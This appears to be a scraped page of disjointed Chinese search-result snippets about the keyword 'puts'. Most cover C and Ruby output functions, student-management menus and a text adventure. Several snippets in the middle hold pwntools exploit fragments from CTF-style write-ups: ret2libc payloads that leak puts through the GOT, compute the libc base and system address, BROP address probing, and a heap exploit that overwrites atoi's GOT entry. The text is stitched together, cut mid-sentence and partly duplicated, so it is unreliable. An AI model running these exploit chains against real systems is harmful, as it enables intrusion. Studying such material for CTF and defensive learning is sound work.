puts(str) //str为一字符串 则自动在str的后面加一个换行符\n 而printf(str)则需要手动加上\n 同理,gets接收字符串时,会将字符串后面的\n去掉,而用scanf接收时 ,会在字符串后面加上\n 所以,puts要和gets搭配,scanf和printf搭配使用。
不同点: puts 输出内容后,会自动换行(如果内容参数为空,则仅输出一个换行符号);另外如果内容参数中有转义符,输出时将先处理转义再输出 p 基本与puts相同,但不会处理参数中的转义符号 print 基本与puts相同,但输出内容后,不会自动在结尾加上换行符 s = "aaaa\nbb\tbb" p s p "****************" puts s p "*************** ***************" aaaa bb bb>Exit code: 0 另外,在输出双字节的字符,比如全角英文或汉字时,p会输出对应的二个字节对应的数字,而非字符 s = "中" p s puts
0.目录 write in front ①.前言 ②.puts()字符串输出函数 自动换行 结束符"\0" ③.gets()字符串输入函数 ④.gets()和scanf()区别 ①.前言 ②.puts()字符串输出函数 字符串输出可以使用puts()函数,作用是输出一个字符串到运行界面上。 puts()语法格式如下↓ int puts ( const char * str ); 在使用puts()函数的时候,我们需要在程序当中添加对应的头文件#incnlude<stdio.h> 将 str 注意:str 是字符指针类型,可以用来接收要输出的字符串或(数组) 自动换行 puts()函数的输出与printf()的输出是有所不同的,puts()函数会总动添加一个自动换行('\n')的操作。 下面我们用代码来演示下代码示例如下↓ #include<stdio.h> int main(void) { puts("yysyCyuyanyyds!")
puts或fputs #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<string.h> void test() { char arr [20]="大忽悠" ; //需要手动加换行符 printf("%s\n", arr); //自动换行 puts(arr); //stdout标准输出设备 //不带换行符 fputs(arr
; case 1: puts ( "1"); case 2: puts ( "2" ); case 3: puts ( "3"); case 4: puts ( "4 "); case 5: puts ( "5"); default: puts ( 1: puts ( "1"); case 2: puts ( "2"); case 3: puts ( "3"); break; case 4: puts
=elf.plt['puts'] puts_got_addr =elf.got['puts'] main_addr =elf.sym['_start'] payload = "a"*13 payload \n') sh.sendline(payload) sh.recvuntil("\n\n") puts_addr = u32(sh.recv(4)) print "puts:" print hex(puts_addr ) libc_puts_addr = int(libc.sym['puts']) base_addr = puts_addr-libc_puts_addr system_addr = base_addr =elf.plt['puts'] puts_got_addr =elf.got['puts'] main_addr =elf.sym['_start'] payload = "a" *20 payload hex(puts_addr) libc_puts_addr = libc.sym['puts'] base_addr = puts_addr-libc_puts_addr system_addr
函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的 这里gets()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来 然后利用puts函数的实际地址计算出 /ret2libc') padding = 120 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x400666 8,因为64位程序的地址长度为8 当我们成功获取到puts函数的实际地址后,即可将本地调试改成远程调试,将远程服务器上的程序puts函数实际地址泄露出来,然后根据puts函数的实际地址来查找远程服务器上所使用的 /ret2libc') padding = 120 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x400666 (r.recvline()[:-1].ljust(8,'\x00')) print hex(puts_real) libc_base = puts_real - libc.symbols['puts'
["duration"]}秒" puts "大小:#{video["size"]}MB" puts "分辨率:#{video["resolution"]}px" puts "类型:#{video[ "type"]}" puts "下载:#{video["download"]}" puts "播放:#{video["play"]}" puts "宽度:#{video["width"]}px" puts "高度:#{video["height"]}px" puts "缩略图:#{video["thumb"]}" puts "播放次数:#{video["played"]}次" puts " ["source"]}" puts "媒体:#{video["media"]}" puts "权限:#{video["authority"]}" puts "审核:#{video["audit"] }" puts "备案:#{video["record"]}" puts "签名:#{video["signature"]}" puts "验证:#{video["verify"]}" puts
"); puts("tables. In"); puts("one corner you notice a fireplace."); puts("There are two obvious exits: east, up."); puts("But strange thing is ,no one there."); puts("So, where you will go? strcmp(s1, "east") ) break; puts("hei! I'm secious!"); puts("So, where you will go? ; puts("Dragon say: HaHa!
和write函数(该函数的特征必须为可以输出地址数据的函数) puts构造payload(泄露puts函数的地址) puts_plt_addr =elf.plt['puts'] puts_got_addr 'main'] puts_got = elf.got['puts'] payload = "a"*76 payload += p32(puts_plt) payload += p32(main_addr ) puts_real_addr = u32(sh.recv(4)) base_addr = puts_real_addr-libc.sym["puts"] print "puts_got" print hex(puts_real_addr) print "libc_puts" print hex(libc.sym['puts']) print "base" print hex(base_addr) = int(puts) print type(puts_addr) libc_puts_addr = int(libc.sym['puts']) base_addr = puts_addr-libc_puts_addr
post.puts "---" post.puts "layout: post" post.puts "title: \"#{title.gsub(/-/,' ')}\"" # post.puts "subtitle: \"\"" post.puts "date: #{Time.now.strftime('%Y-%m-%d')}" # post.puts " cover: " post.puts "category: " post.puts "tags: " post.puts "---" end end # task : # post.puts "subtitle: \"\"" post.puts "date: #{Time.now.strftime('%Y-%m-%d')}" # post.puts " cover: " post.puts "category: " post.puts "tags: " post.puts "---" end end CONFIG 配置的路径
(""); puts(""); puts("\t\t\t\t********欢迎使用学生成绩管理系统********"); puts("\t\t\t\t* 1.输入学生人数与信息 *"); puts("\t\t\t\t* 2.显示学生信息 *"); puts("\t\t\t\t* 3.根据姓名查找学生信息 *"); puts("\t\t\t\t* 4.显示指定学生的信息 *"); puts("\t\t\t\t* 5.在指定位置插入学生信息 *") ; puts("\t\t\t\t* 6.删除指定位置的学生信息 *"); puts("\t\t\t\t* 7.统计学生个数 *") ; puts("\t\t\t\t* 8.退出程序 *"); puts("\t\t\t\t* \t\t----制作by——王迎港 *"); puts
: puts #include <stdio.h> int puts(const char *s); puts 函数就一个参数,所以按照用户接口的函数调用约定,只需要在 rdi 寄存器中设置参数就可以了 ,那么这个地址就是 puts 的 plt 地址了 如果再获取到 puts 的 plt 地址,我们就可以利用 puts 函数将程序的内存空间中每一个地址的内容都打印出来,这样就可以通过分析获取一些其他内容 地址,puts 的 got 中保存着 puts 函数的实际地址,也就是说我们没有获取到目标主机上 libc 加载到内存中后 puts 的实际地址,那么也就无法获取到 libc 的地址,也就无法进一步获取 就是我们 puts 的 plt 地址 如果你了解 got/plt 机制大概能够看出来,puts 的 got 地址是 0x00601018 puts 的 got 中存储着 puts 函数的实际地址 获取 puts 函数的内存地址 def get_puts_addr(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
7.修改通讯录数据 void contactmenu() { puts("****请选择您要修改的内容****"); puts("*******1.联系人姓名*******"); puts("** *****2.联系人性别*******"); puts("*******3.联系人年龄*******"); puts("*******4.联系人电话*******"); puts("******* 用户界面设计代码 void menu() { puts("*********请选择您要进行的操作*******"); puts("*******1.加载通讯录历史联系人信息****"); puts *"); puts("*******5.查找通讯录联系人信息*******"); puts("*******6.修改通讯录联系人信息*******"); puts("*************0. () { puts("****请选择您要修改的内容****"); puts("*******1.联系人姓名*******"); puts("*******2.联系人性别*******"); puts
延迟绑定的基本原理 假如存在一个puts函数,这个函数在PLT中的条目为puts@plt,在GOT中的条目为puts@got,那么在第一次调用puts函数的时候,首先会跳转到PLT表,伪代码如下: puts 这一行代码的作用是将puts函数真正的地址填充到puts@got,然后跳转到puts函数真正的地址执行代码。 当我们下次再调用puts函数的时候,执行路径就是先后跳转到puts@plt、puts@got、puts真正的地址。 puts'] puts_got = elf.got['puts'] padding = 112 payload = 'a' * padding payload += p32(puts_plt) payload = elf.plt['puts'] puts_got = elf.got['puts'] #puts_addr = elf.symbols['puts'] padding = 112 payload
/usr/bin/ruby # -*- coding: UTF-8 -*- def test puts "在 test 方法内" yield puts "你又回到了 test 方法内 现在,看下面的语句: test {|i| puts "你在块 #{i} 内"} 在这里,值 5 会在变量 i 中收到。 现在,观察下面的 puts 语句: puts "你在块 #{i} 内" 这个 puts 语句的输出是: 你在块5 内 如果您想要传递多个参数,那么 yield 语句如下所示: yield a, b 此时 /usr/bin/ruby BEGIN { # BEGIN 代码块 puts "BEGIN 代码块" } END { # END 代码块 puts "END 代码块" } # MAIN 代码块 puts "MAIN 代码块" 一个程序可以包含多个 BEGIN 和 END 块。
(""); puts(""); puts("\t\t\t\t********欢迎使用学生成绩管理系统********"); puts("\t\t\t\t* 1.输入学生人数与信息 *"); puts("\t\t\t\t* 2.显示学生信息 *"); puts("\t\t\t\t* 3.根据姓名查找学生信息 *"); puts("\t\t\t\t* 4.显示指定学生的信息 *"); puts("\t\t\t\t* 5.在指定位置插入学生信息 *") ; puts("\t\t\t\t* 6.删除指定位置的学生信息 *"); puts("\t\t\t\t* 7.统计学生个数 *") ; puts("\t\t\t\t* 8.退出程序 *"); puts("\t\t\t\t* \t\t----制作by——王迎港 *"); puts
3.成绩分析") ; puts("\t\t\t\t\t 4.修改密码") ; puts("\t\t\t\t\t 5.返回上一层") ; puts ***") ; puts("\t\t\t\t\t\t\t 1.总分") ; puts("\t\t\t\t\t\t\t 2.高数") ; puts("\t\t\t\t\ t\t\t 3.大英") ; puts("\t\t\t\t\t\t\t 4.c语言") ; puts("\t\t\t\t\t\t\t 5.学号") ; puts t\t\t\t1.管理学生账号信息") ; puts("\t\t\t\t\t2.管理教师账号信息") ; puts("\t\t\t\t\t3.修改密码") ; puts("\t\ ) ; puts("\t\t\t\t\t 2.删除学生账号") ; puts("\t\t\t\t\t 3.查找学生账号") ; puts(
['puts']) + p64(stkof.got['atoi']) edit(2, len(payload), payload) payload = p64(stkof.plt['puts \nOK\n', drop=True).ljust(8, '\x00') puts_addr = u64(puts_addr) puts_offset = puts_addr - libc.symbols ['puts'] system_addr = puts_offset + libc.symbols['system'] payload = p64(system_addr) edit ('puts_addr: ' + hex(puts_addr)) puts_offset = puts_addr - libc.symbols['puts'] system_addr = puts_offset + libc.symbols['system'] log.success('put_offset: ' + hex(puts_offset))
symbol是啥就不深入的讨论了,只简单说说symbol的好处 ruby内部对于每个对象,都会有一个数字id用来标识并区分,可以用xxx.object_id来查看 puts "0001".object_id puts "0001".object_id puts "0001".object_id puts "0001".object_id 输出结果类似如下: 32088750 32088730 32088710 答案就是symbol 任何对象,只要在前面加个冒号(即":"),就能得到其对应的symbol,把上面的代码改成: puts :"0001".object_id puts :"0001".object_id puts :"0001".object_id puts :"0001".object_id 输出结果类似如下: 155038 155038 155038 155038 比较一下刚才的输出,会发现这次貌似四次调用 (p1,p2,options={}) puts p1 puts p2 options.each{|key,value| puts "#{key} is #{value}"} end my_method